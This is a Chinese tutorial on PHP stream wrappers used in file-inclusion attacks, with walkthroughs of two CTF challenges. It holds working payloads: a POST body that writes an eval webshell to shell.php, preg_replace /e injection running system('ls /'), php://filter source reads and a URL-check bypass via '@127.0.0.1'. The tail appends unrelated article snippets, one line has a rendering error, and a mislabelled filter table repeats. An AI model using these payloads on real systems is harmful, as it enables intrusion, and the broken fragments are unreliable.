PHP之伪协议
文章目录
- PHP伪协议
- php://协议
- data://协议
- file://协议
- phar://协议
- zip:// & bzip2:// & zlib://协议
- 过滤器
- 题目练习
- [BJDCTF 2020]ZJCTF,不过如此
- BaseCTF[week1]Aura酱的礼物
PHP伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://协议
作用:访问各个输入/输出流
php://input
用于执行php代码
1.读取POST数据
遇到file_get_contents()时可以利用php://input绕过,然后使用post方式传入数据,将post请求中的数据作为php代码执行
测试代码
<?phpecho file_get_contents("php://input");
?>
2.写入木马
测试代码
<?php$filename = $_GET['filename'];include($filename);
?>
http://www.exmpale.com/test.php?file=php://input
然后post传入一句话木马,将post请求中的数据作为php代码执行
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
3.命令执行
测试代码
<?php$filename = $_GET['filename'];include($filename);
?>
http://www.exmpale.com/test.php?file=php://input
然后post传入系统执行命令,将post请求中的数据作为php代码执行
php://filter
用于读取源码并需要进行编码输出,不如会被当作php代码执行就看不到源代码内容了
?file=php://filter/read=convert.base64-encode/resource=index.php
resource=<受过滤的数据流> //这个参数是必须的
read=<读链的筛选列表> //该参数可选,可以设定多个过滤器,以管道符(|)分隔
data://协议
可以用来执行PHP代码
用法
data://text/plain,
data://text/plain;base64,
例如:
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ //<?php phpinfo();?>的base64编码
file://协议
用于访问本地文件系统,后面接文件的绝对路径和文件名
phar://协议
与zip://协议类似,同样可以访问zip格式压缩包内容
zip:// & bzip2:// & zlib://协议
都可以访问压缩文件中的子文件,且不需要指定后缀名,可以修改为任意后缀
例:
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
过滤器
字符串过滤器
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器
转换过滤器 | 作用 |
---|---|
convert.quoted-printable-encode / convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
convert.base64-encode / convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
压缩过滤器
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
题目练习
[BJDCTF 2020]ZJCTF,不过如此
题目源码:
<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php}
else{highlight_file(__FILE__);
}
?>
第一层payload:/?text=data://text/pain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到next.php内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}
preg_replace()+/e 存在代码执行漏洞
e模式下preg_replace可以让第二个参数当作代码执行,但是这里的第二个参数不可变。由于这种特殊情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)刚好表达的就是匹配器第一个。
比如传入: ?.={${phpinfo()}}
原句: preg_replace(‘/(‘ . $re . ’)/ei’,’strtolower(“\1”)’,$str);
会变成preg_replace(‘/(’ . ‘)/ei’,‘strtolower(“\1”)’,**{KaTeX parse error: Expected 'EOF', got '}' at position 12: {phpinfo()}}̲**); 又因为当_GET传入首字母是非法字符时会把点. 变成下划线_ ,因此要将\.* 换成 \s*
payload:
next.php/?\S*=${getFlag()}&cmd=system(%27ls%20/%27);
flag在phpinfo里
/next.php/?\S*=${phpinfo()}
BaseCTF[week1]Aura酱的礼物
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{die('这是 Aura 的礼物,你不是 Aura!');
}// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{die('这不是 Aura 的博客!');
}$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{die('请去博客里面写下感想哦~');
}// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); PD9waHAgLy8gQmFzZUNURntiNzdiMDMxMi0zOGQ4LTQwZmQtYTkwMi04NjFlNGZjZjRlODV9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=
第一层使用data伪协议,这里检查的是文件内容是否等于,不是变量的值是否等于
pen=data://plain/text,Aura
第二层检测目标字符串是否在challenge的开头
challenge=http://jasmineaura.github.io
的file_get_contents可以用于发起http请求,获取远程资源的内容。
这里使用 @ 符号。 @ 是虚拟域名,在浏览器输入之后浏览器会识别@后面的域名,前面则是域名的配置信息。
在challenge尾部加上@127.0.0.1,这样file_gets_contents获取的就是当前页面的内容,刚好包含目标字符串
第三层使用php://filter伪协议读flag即可
gift=php://filter/read=convert.base64-encode/resource=flag.php
payload:
pen=data://text/plain;base64,QXVyYQ==&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php
相关文章:
PHP之伪协议
文章目录 PHP伪协议php://协议data://协议file://协议phar://协议zip:// & bzip2:// & zlib://协议 过滤器 题目练习[BJDCTF 2020]ZJCTF,不过如此BaseCTF[week1]Aura酱的礼物 PHP伪协议 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// …...
关于Vue的子组件改变父组件传来的值
一、组件直接传值 大家都知道父子组件传值的方案,有以下几个,不再详细敖述 Props:父组件向子组件传递数据 $emit:子组件通过自定义事件向父组件传递数据 .sync修饰符:一个方便且强大的工具,可以简化父子组…...

jvm排查问题-实践追踪问题 与思路--堆内堆外内存泄漏排查方针
概述 排查问题的一般思路是:现象 ——> 直接原因 ——>根本原因。 从问题现象出发,可以分为 应用逻辑问题、资源使用问题、虚拟机异常: 应用逻辑可能导致报错增加、死锁、程序退出等;资源问题主要集中在CPU上升和内存上升(OOM Kill);虚拟机问题通常包括GC问题、进…...

网络层协议--ip协议
目录 引言 IP协议 协议头格式 16位标识与3位标志与13位片偏移讲解 网段划分(重要) DHCP技术 CIDR技术 特殊的IP地址 广播主机 IP地址的数量限制 私有IP地址和公网IP地址 路由:在复杂的网络结构中, 找出一条通往终点的路线 简单认识路由器 路由表生成算…...
【总结整理】 神经网络与深度学习 邱锡鹏 课后习题答案 扩展阅读链接
本文主要针对神经网络神经网络邱锡鹏 2~8 章的课后习题进行理解的过程中,搜索到的讲的会比较透彻的链接整理。适合有一定基础但是想了解更细的人阅读。 主要参考书籍 首先是本书pdf可在神经网络与深度学习获取; 主要参考的课后习题答案为nndl/solution…...

使用 Three.js 创建一个 3D 人形机器人仿真系统
引言 在这篇文章中,我们将探讨如何使用 Three.js 创建一个简单但有趣的 3D 人形机器人仿真系统。这个机器人可以通过键盘控制进行行走和转向,并具有基本的动画效果。 技术栈 HTML5Three.jsJavaScript 实现步骤 1. 基础设置 首先,我们需要…...

图像修复和编辑大一统 | 腾讯北大等联合提出BrushEdit:BrushNet进阶版来了
文章链接:https://arxiv.org/pdf/2412.10316 项目链接:https://liyaowei-stu.github.io/project/BrushEdit 亮点直击 提出了BrushEdit,这是先前BrushNet模型的高级迭代版本。BrushEdit通过开创基于修复(inpainting)的图…...

【hackmyvm】Adroit靶机wp
tags: HMVjava反编译SQL注入 1. 基本信息^toc 文章目录 1. 基本信息^toc2. 信息收集3. java反编译4. sql注入5. 解密密码6. 提权 靶机链接 https://hackmyvm.eu/machines/machine.php?vmAdroit 作者 alienum 难度 ⭐️⭐️⭐️⭐️️ 2. 信息收集 ┌──(root㉿kali)-[~] └…...
【Python运维】自动化备份与恢复系统的实现:Python脚本实战
《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 随着信息化进程的加速,数据的重要性日益增加,数据丢失的风险也随之增加。为了保证数据安全,定期备份和及时恢复数据是必不可少的操作。本…...

Goland 安装与使用
GoLand安装 官方网址: JetBrains GoLand:不只是 Go IDE 1. 进入官网,点击下载: 2. 如下图一步步安装 3. 如下图一步步安装...

vue2 升级为 vite 打包
VUE2 中使用 Webpack 打包、开发,每次打包时间太久,尤其是在开发的过程中,本文记录一下 VUE2 升级Vite 步骤。 安装 Vue2 Vite 依赖 dev 依赖 vitejs/plugin-vue2": "^2.3.3 vitejs/plugin-vue2-jsx": "^1.1.1 vite&…...
FreeSwitch中启用WebRTC
在FreeSwitch中启用WebRTC需要进行一系列配置。以下是详细的步骤: 1. 安装必要的依赖: 确保安装了支持WebRTC的依赖库,如libsrtp。 2. 配置SIP Profile: 编辑 conf/sip_profiles/internal.xml 文件,添加或修改以下内…...
R语言的数据类型
标题:《探索R语言数据类型的奥秘》 引言: 在统计学和数据分析的世界里,R语言无疑是一颗璀璨的明星。它以其强大的数据处理能力和丰富的图形展示功能而受到广泛欢迎。然而,要熟练掌握并高效使用R语言,深入了解其数据类…...
基于UNET的图像分类
网络架构 UNet网络是一种革命性的图像分割架构,在图像分类任务中同样展现出卓越的性能。其独特的设计巧妙地平衡了全局信息捕捉和精细细节保留的需求,特别适合处理需要高度精确定位的任务。 UNet的核心设计理念体现在其 对称的编码器-解码器结构 中。这种结构不仅实现了高效…...

css文字折行以及双端对齐实现方式
使用flex布局后,文字超出容器部分不会自动折行了。实现代码如下: <el-row><el-col :span"24"><span class"label">姓名</span><span class"content">{{name}}</span></el-col>…...

华为云语音交互SIS的使用案例(文字转语音-详细教程)
文章目录 题记一 、语音交互服务(Speech Interaction Service,简称SIS)二、功能介绍1、实时语音识别2、一句话识别3、录音文件识别4、语音合成 三、约束与限制四、使用1、API2、SDK 五、项目集成1、引入pom依赖2、初始化 Client1)…...
设计一个监控摄像头物联网IOT(webRTC、音视频、文件存储)
前言: 设计一个完整的 监控摄像头物联网 IoT 平台 涉及 视频直播和点播、WebRTC 和 文件存储模块,可以分为以下几个主要部分:摄像头设备、服务端处理、Web 前端、视频流存储和回放。以下是结合这些技术的一个具体完整流程设计,涵盖…...
学习笔记(prism--视频【WPF-prism核心教程】)--待更新
《一》框架介绍 prism是一个用于WPF…和winUI中构建的松散耦合,可维护和可测试的应用程序框架。帮助WPF开发人员以简化编写,维护和扩展来设计应用程序。 优点:遵循特定的约定,可自动将view/ViewModel建立DataContext的关系&#…...

Kafka无锁设计
前言 在分布式消息队列系统中,Kafka 的无锁设计是其高吞吐量和高并发的核心优势之一。通过避免锁的竞争,Kafka 能够在高并发和大规模的生产环境中保持高效的性能。为了更好地理解 Kafka 的无锁设计,我们首先对比传统的队列模型,然后探讨 Kafka 如何通过无锁机制优化生产者…...

【GO基础学习】gin框架路由详解
文章目录 gin框架路由详解(1)go mod tidy(2)r : gin.Default()(3)r.GET()路由注册 (4)r.Run()路由匹配 总结 gin框架路由详解 先创建一个项目,编写一个简单的demo&#…...
【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15
缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下: struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
Python爬虫(四):PyQuery 框架
PyQuery 框架详解与对比 BeautifulSoup 第一部分:PyQuery 框架介绍 1. PyQuery 是什么? PyQuery 是一个 Python 的 HTML/XML 解析库,它采用了 jQuery 的语法风格,让开发者能够用类似前端 jQuery 的方式处理文档解析。它的核心特…...

开源项目实战学习之YOLO11:12.6 ultralytics-models-tiny_encoder.py
👉 欢迎关注,了解更多精彩内容 👉 欢迎关注,了解更多精彩内容 👉 欢迎关注,了解更多精彩内容 ultralytics-models-sam 1.sam-modules-tiny_encoder.py2.数据处理流程3.代码架构图(类层次与依赖)blocks.py: 定义模型中的各种模块结构 ,如卷积块、残差块等基础构建…...

2025年ESWA SCI1区TOP,自适应学习粒子群算法AEPSO+动态周期调节灰色模型,深度解析+性能实测
目录 1.摘要2.粒子群算法PSO原理3.改进策略4.结果展示5.参考文献6.代码获取7.算法辅导应用定制读者交流 1.摘要 能源数据的科学预测对于能源行业决策和国家经济发展具有重要意义,尤其是短期能源预测,其精度直接影响经济运行效率。为了更好地提高预测模型…...
结构性-代理模式
动态代理主要是为了处理重复创建模板代码的场景。 使用示例 public interface MyInterface {String doSomething(); }public class MyInterfaceImpl implements MyInterface{Overridepublic String doSomething() {return "接口方法dosomething";} }public class M…...